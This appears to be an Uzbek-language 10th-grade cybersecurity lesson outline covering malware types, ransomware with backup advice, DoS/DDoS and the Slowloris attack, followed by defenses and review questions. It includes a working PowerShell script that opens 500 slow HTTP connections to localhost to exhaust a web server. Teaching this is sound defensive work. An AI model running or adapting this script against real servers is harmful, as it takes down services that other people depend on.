Zararli dasturlar (Malware) tasnifi va DoS/DDoS hujumlari
10-sinf Kiberxavfsizlik · 1-haftaViruslar, qurtlar, troyanlar, rootkitlar va josus dasturlar.
Fayllarni garovga oluvchi tovlamachi viruslar anatomiyasi.
Server resurslarini to'ldirish va xizmatni to'xtatish.
Past tezlikli HTTP DoS hujumining ishlash mexanizmi.
Malware turlari, maqsadlari va tarqalish yo'llari
Foydalanuvchining ruxsatisiz tizimga kiruvchi, buzuvchi, o'g'irlovchi yoki kompyuter faoliyatini boshqaruvchi har qanday dasturiy vosita.
Parollar, bank kartalari, shaxsiy yozishmalar va sirlar.
Fayllarni ochib bo'lmaydigan qilib, tovon puli talab qilish.
Kompyuterni zombi botnetiga qo'shib, DDoS hujumlarda ishlatish.
Mezbon faylga muhtoj
Boshqa dasturlar yoki fayllar (.exe, .docx) ichiga yashirinadi. Inson faylni ochgandagina ishga tushadi va ko'payadi.
Mustaqil dastur
Hech qanday mezbon faylga muhtoj emas. Tarmoqdagi zaifliklar orqali odam ishtirokisiz avtomatik tarzda tarqaladi.
Foydali ko'rinishdagi niqob
O'yin, tekin aktivator yoki tozalovchi dastur qiyofasida yuklanadi. Ichida yashirin zararli modul (masalan, backdoor) bo'ladi.
Yashirin kuzatuvchi
Klaviaturada terilgan parollarni (Keylogger), brauzer tarixini va veb-kamera tasvirlarini yozib olib buzg'unchiga jo'natadi.
Operatsion tizim yadrosiga (Kernel) o'rnashadi. O'zining fayllari va jarayonlarini antiviruslardan yashiradi.
Tizimga loginsiz, yashirin eshik orqali kirish imkonini yaratadi. Masofadan buyruq bajarish imkonini beradi.
Muayyan shart (sana yoki hodisa) sodir bo'lguncha yashirinib yotadi va vaqti kelganda tizimni o'chiradi.
Fayllarni shifrlash va tovon puli talab qilish sxemasi
Fayllarning zaxira nusxasi bo'lsa, ransomware hech qanday zarar yetkaza olmaydi!
Asosiy fayllarning kamida 3 ta nusxasi saqlanishi kerak.
2 xil qurilmada (masalan, ichki disk va tashqi qattiq disk).
1 ta nusxa tarmoqdan uzilgan xavfsiz joyda yoki bulutda saqlanishi shart.
Foydalanuvchanlikni yo'q qilish mexanizmlari
Bitta hujumchi kompyuter maqsadli serverga ko'p so'rov yuboradi. Bitta IP ni bloklash orqali to'xtatish oson.
Dunyo bo'ylab tarqalgan millionlab botnet qurilmalari bir vaqtda hujum qiladi. Barcha IP larni bloklash imkonsiz.
Past tezlikli HTTP DoS hujumining ishlash siri
Odatdagi DoS gigabaytlab paket yuboradi. Slowloris esa sekundiga bir necha bayt yuboradi!
1..500 | ForEach-Object {
Start-Job -ScriptBlock {
try {
$tcp = New-Object System.Net.Sockets.TcpClient
$tcp.Connect("127.0.0.1", 80)
$stream = $tcp.GetStream()
$writer = New-Object System.IO.StreamWriter($stream)
$writer.WriteLine("GET / HTTP/1.1`r`nHost: localhost`r`n")
$writer.Flush()
Start-Sleep -Seconds 300
} catch {}
}
}
Write-Host "500 ta sekin ulanish ochildi!"
Sarlavhalarni kutish vaqtini (timeout) 5-10 soniyaga tushirish.
Bitta IP manzildan parallel ochiladigan ulanishlar sonini cheklash.
Asinxron arxitekturaga ega Nginx ni oraliq server sifatida o'rnatish.
Bilimlarni mustahkamlash uchun mashqlar
Nega qurtlar tarmoqda inson aralashuvisiz viruslarga qaraganda tezroq tarqaladi?
Nima sababdan Slowloris hujumi katta internet tezligini talab qilmaydi?
Bitta IP dan bo'lgan DoSni to'xtatish usuli nega DDoS ga qarshi yordam bermaydi?
Nima uchun operatsion tizim ichidagi oddiy antivirus Rootkitni aniqlay olmaydi?
Antivirus, EDR, tizim yangilanishlari va zaxira nusxalar birgalikda ishlasagina tizim xavfsiz bo'ladi.
Bulutli xizmatlar (Cloudflare, Akamai) orqali yirik trafikni filtrlash.
Notanish ilovalar va aktivatorlarni hech qachon ish kompyuteriga o'rnatmaslik.
Keyingi dars: Ijtimoiy muhandislik va fishing tahlili (Thunderbird, MX Toolbox, VirusTotal)
Savollar bormi?